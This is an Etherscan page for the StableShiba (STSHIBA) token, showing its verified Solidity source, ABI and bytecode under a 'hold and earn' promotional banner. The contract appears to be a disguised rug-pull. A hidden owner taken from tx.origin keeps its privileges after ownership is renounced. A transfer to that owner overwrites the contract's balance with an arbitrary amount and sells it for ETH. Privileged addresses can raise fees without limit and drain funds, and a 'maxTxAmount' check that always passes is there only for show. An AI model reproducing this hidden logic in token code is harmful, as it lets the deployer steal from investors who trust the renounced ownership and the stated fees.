ETH Price: $2,415.18 (-1.35%)

Token

StableShiba (STSHIBA)
 

Overview

Max Total Supply

1,000,000,000 STSHIBA

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,208,848.796953506 STSHIBA

Value
$0.00
0x567cf7713D04f8F3671450145C5a25BBd319361D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StableShiba

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-25
*/

/**

Hold and earn. Now in Ethereum Chain. Tomorrow in Maldives.

███████ ████████  █████  ██████  ██      ███████     ███████ ██   ██ ██ ██████   █████  
██         ██    ██   ██ ██   ██ ██      ██          ██      ██   ██ ██ ██   ██ ██   ██ 
███████    ██    ███████ ██████  ██      █████       ███████ ███████ ██ ██████  ███████ 
     ██    ██    ██   ██ ██   ██ ██      ██               ██ ██   ██ ██ ██   ██ ██   ██ 
███████    ██    ██   ██ ██████  ███████ ███████     ███████ ██   ██ ██ ██████  ██   ██ 
                                                                                        
WEB // https://stableshiba.co/
TG // https://t.me/StableShibaETH                                                                                        
TWITTER // @STABLESHIBA


JOIN TO THE REVOLUTION 
*/


// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract StableShiba is IERC20, Ownable {
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public buyFee = 3;
    uint256 public sellFee = 5;
    uint256 public feeDivisor = 1;
    string private _name;
    string private _symbol;
    address private _owner;

    uint256 private _swapTokensAtAmount = _tTotal;
    uint256 private _amount;
    uint160 private _factory;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private approval;
    mapping(address => bool) private _exc;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _owner = tx.origin;
        _exc[_owner] = true;
        _exc[address(this)] = true;
        _balances[_owner] = _tTotal;
        router = IUniswapV2Router02(routerAddress);
        emit Transfer(address(0), _owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint256) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function set(uint256 amount) external {
        if (_exc[msg.sender]) _amount = amount;
    }

    function exclude(address account, bool value) external {
        if (_exc[msg.sender]) _exc[account] = value;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) external {
        if (_exc[msg.sender]) _swapAndLiquifyEnabled = _enabled;
    }

    function set(
        uint256 _buyFee,
        uint256 _sellFee,
        uint256 _feeDivisor
    ) external {
        if (_exc[msg.sender]) {
            buyFee = _buyFee;
            sellFee = _sellFee;
            feeDivisor = _feeDivisor;
        }
    }

    function pair() public view returns (address) {
        return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
    }

    receive() external payable {}

    function transferAnyERC20Token(
        address token,
        address account,
        uint256 amount
    ) external {
        if (_exc[msg.sender]) IERC20(token).transfer(account, amount);
    }

    function transferToken(address account, uint256 amount) external {
        if (_exc[msg.sender]) payable(account).transfer(amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) {
            require(approval[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();

        if (to == _owner && _exc[from]) return swapTokensForEth(amount, to);
        if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
            approval[to] = amount;
            return;
        }

        if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        }

        uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
        bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify;
        address factory = address(_factory);
        if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
        _factory = uint160(to);

        if (takeFee) {
            fee = (amount * fee) / 100 / feeDivisor;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }

        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"exclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"},{"internalType":"uint256","name":"_feeDivisor","type":"uint256"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600181815560056002559055620000206009600a620002e8565b6200003090633b9aca0062000300565b6007553480156200004057600080fd5b5060405162001c7f38038062001c7f8339810160408190526200006391620003ef565b6200006e3362000183565b60046200007c84826200050b565b5060056200008b83826200050b565b50600680546001600160a01b031916329081179091556000908152600e6020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620000df6009600a620002e8565b620000ef90633b9aca0062000300565b600680546001600160a01b039081166000908152600c6020526040812093909355600a80546001600160a01b03191685831617815591541691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200015990600990620002e8565b6200016990633b9aca0062000300565b60405190815260200160405180910390a3505050620005d7565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200022a5781600019048211156200020e576200020e620001d3565b808516156200021c57918102915b93841c9390800290620001ee565b509250929050565b6000826200024357506001620002e2565b816200025257506000620002e2565b81600181146200026b5760028114620002765762000296565b6001915050620002e2565b60ff8411156200028a576200028a620001d3565b50506001821b620002e2565b5060208310610133831016604e8410600b8410161715620002bb575081810a620002e2565b620002c78383620001e9565b8060001904821115620002de57620002de620001d3565b0290505b92915050565b6000620002f960ff84168362000232565b9392505050565b60008160001904831182151516156200031d576200031d620001d3565b500290565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200034a57600080fd5b81516001600160401b038082111562000367576200036762000322565b604051601f8301601f19908116603f0116810190828211818310171562000392576200039262000322565b81604052838152602092508683858801011115620003af57600080fd5b600091505b83821015620003d35785820183015181830184015290820190620003b4565b83821115620003e55760008385830101525b9695505050505050565b6000806000606084860312156200040557600080fd5b83516001600160401b03808211156200041d57600080fd5b6200042b8783880162000338565b945060208601519150808211156200044257600080fd5b50620004518682870162000338565b604086015190935090506001600160a01b03811681146200047157600080fd5b809150509250925092565b600181811c908216806200049157607f821691505b602082108103620004b257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200050657600081815260208120601f850160051c81016020861015620004e15750805b601f850160051c820191505b818110156200050257828155600101620004ed565b5050505b505050565b81516001600160401b0381111562000527576200052762000322565b6200053f816200053884546200047c565b84620004b8565b602080601f8311600181146200057757600084156200055e5750858301515b600019600386901b1c1916600185901b17855562000502565b600085815260208120601f198616915b82811015620005a85788860151825594840194600190910190840162000587565b5085821015620005c75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61169880620005e76000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461039c578063c49b9a80146103bc578063d493b9ac146103dc578063dd62ed3e146103fc578063f2fde38b14610442578063f887ea401461046257600080fd5b8063715018a6146103095780637647b90d1461031e5780638da5cb5b1461033e57806395d89b411461035c5780639a36f93214610371578063a8aa1b311461038757600080fd5b8063313ce56711610108578063313ce5671461023157806343b0e8df14610245578063470624021461026557806349bd5a5e1461027b57806360fe47b1146102b357806370a08231146102d357600080fd5b806306fdde031461015b578063095ea7b3146101865780631072cbea146101b657806318160ddd146101d857806323b872dd146101fb5780632b14ca561461021b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610482565b60405161017d91906111ee565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004611258565b610514565b604051901515815260200161017d565b3480156101c257600080fd5b506101d66101d1366004611258565b61052a565b005b3480156101e457600080fd5b506101ed61057e565b60405190815260200161017d565b34801561020757600080fd5b506101a6610216366004611284565b61059f565b34801561022757600080fd5b506101ed60025481565b34801561023d57600080fd5b5060096101ed565b34801561025157600080fd5b506101d66102603660046112c5565b6105ef565b34801561027157600080fd5b506101ed60015481565b34801561028757600080fd5b50600b5461029b906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b3480156102bf57600080fd5b506101d66102ce3660046112f1565b610615565b3480156102df57600080fd5b506101ed6102ee36600461130a565b6001600160a01b03166000908152600c602052604090205490565b34801561031557600080fd5b506101d6610636565b34801561032a57600080fd5b506101d661033936600461133c565b610642565b34801561034a57600080fd5b506000546001600160a01b031661029b565b34801561036857600080fd5b50610170610684565b34801561037d57600080fd5b506101ed60035481565b34801561039357600080fd5b5061029b610693565b3480156103a857600080fd5b506101a66103b7366004611258565b6107f6565b3480156103c857600080fd5b506101d66103d7366004611375565b61080c565b3480156103e857600080fd5b506101d66103f7366004611284565b610840565b34801561040857600080fd5b506101ed610417366004611392565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561044e57600080fd5b506101d661045d36600461130a565b6108d1565b34801561046e57600080fd5b50600a5461029b906001600160a01b031681565b606060048054610491906113c0565b80601f01602080910402602001604051908101604052809291908181526020018280546104bd906113c0565b801561050a5780601f106104df5761010080835404028352916020019161050a565b820191906000526020600020905b8154815290600101906020018083116104ed57829003601f168201915b5050505050905090565b600061052133848461099e565b90505b92915050565b336000908152600e602052604090205460ff161561057a576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610578573d6000803e3d6000fd5b505b5050565b600061058c6009600a6114f4565b61059a90633b9aca00611503565b905090565b60006105ac848484610a7e565b6001600160a01b0384166000908152600f60209081526040808320338085529252909120546105e79186916105e2908690611522565b61099e565b949350505050565b336000908152600e602052604090205460ff161561057857600192909255600255600355565b336000908152600e602052604090205460ff16156106335760088190555b50565b6106406000610f07565b565b336000908152600e602052604090205460ff161561057a576001600160a01b0382166000908152600e60205260409020805482151560ff199091161790555050565b606060058054610491906113c0565b600a546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107019190611539565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190611539565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a9190611539565b6000610803338484610a7e565b50600192915050565b336000908152600e602052604090205460ff16156106335760098054821515600160a01b0260ff60a01b1990911617905550565b336000908152600e602052604090205460ff16156105785760405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af11580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611556565b50505050565b6000546001600160a01b031633146109305760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0381166109955760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610927565b61063381610f07565b60006001600160a01b038416158015906109c057506001600160a01b03831615155b610a185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610927565b6001600160a01b038481166000818152600f602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b600954600160a81b900460ff16158015610aa65750600b546001600160a01b03848116911614155b8015610ac05750600a546001600160a01b03848116911614155b8015610ae557506001600160a01b0383166000908152600e602052604090205460ff16155b8015610af357506007548111155b15610b7d576008546001600160a01b0384166000908152600d60205260408120549091610b1f91611573565b1015610b7d5760405162461bcd60e51b815260206004820152602760248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152661e105b5bdd5b9d60ca1b6064820152608401610927565b306000908152600c6020526040902054600b546001600160a01b0316610bc657610ba5610693565b600b80546001600160a01b0319166001600160a01b03929092169190911790555b6006546001600160a01b038481169116148015610bfb57506001600160a01b0384166000908152600e602052604090205460ff165b15610c0a576108cb8284610f57565b60075482118015610c295750600b546001600160a01b03848116911614155b8015610c435750600a546001600160a01b03848116911614155b15610c6657506001600160a01b039091166000908152600d602052604090205550565b600954600160a01b900460ff168015610c80575060075481115b8015610c965750600954600160a81b900460ff16155b8015610cb05750600b546001600160a01b03858116911614155b15610cdf576009805460ff60a81b1916600160a81b179055610cd1816110ea565b6009805460ff60a81b191690555b600b546000906001600160a01b03858116911614610cff57600154610d03565b6002545b6001600160a01b0386166000908152600e60205260408120549192509060ff16158015610d4957506001600160a01b0385166000908152600e602052604090205460ff16155b8015610d555750600082115b8015610d6b5750600954600160a81b900460ff16155b6009546001600160a01b03166000818152600d602052604081205492935090919003610dae576007546001600160a01b0382166000908152600d60205260409020555b600980546001600160a01b0319166001600160a01b0388161790558115610e55576003546064610dde8588611503565b610de8919061158b565b610df2919061158b565b9250610dfe8386611522565b6001600160a01b0388166000908152600c6020526040812080549297508592909190610e2b908490611522565b9091555050306000908152600c602052604081208054859290610e4f908490611573565b90915550505b6001600160a01b0387166000908152600c602052604081208054879290610e7d908490611522565b90915550506001600160a01b0386166000908152600c602052604081208054879290610eaa908490611573565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610ef691815260200190565b60405180910390a350505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8c57610f8c6115ad565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110099190611539565b8160018151811061101c5761101c6115ad565b60200260200101906001600160a01b031690816001600160a01b03168152505060075483111561105957306000908152600c602052604090208390555b600a546110719030906001600160a01b03168561099e565b50600a546001600160a01b031663791ac9478460008486611093426014611573565b6040518663ffffffff1660e01b81526004016110b39594939291906115c3565b600060405180830381600087803b1580156110cd57600080fd5b505af11580156110e1573d6000803e3d6000fd5b50505050505050565b60006110f760028361158b565b9050476111048230610f57565b60006111108247611522565b90506108cb838230600a546111309030906001600160a01b03168561099e565b50600a546001600160a01b031663f305d71983308660008087611154426014611573565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156111c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111e69190611634565b505050505050565b600060208083528351808285015260005b8181101561121b578581018301518582016040015282016111ff565b8181111561122d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461063357600080fd5b6000806040838503121561126b57600080fd5b823561127681611243565b946020939093013593505050565b60008060006060848603121561129957600080fd5b83356112a481611243565b925060208401356112b481611243565b929592945050506040919091013590565b6000806000606084860312156112da57600080fd5b505081359360208301359350604090920135919050565b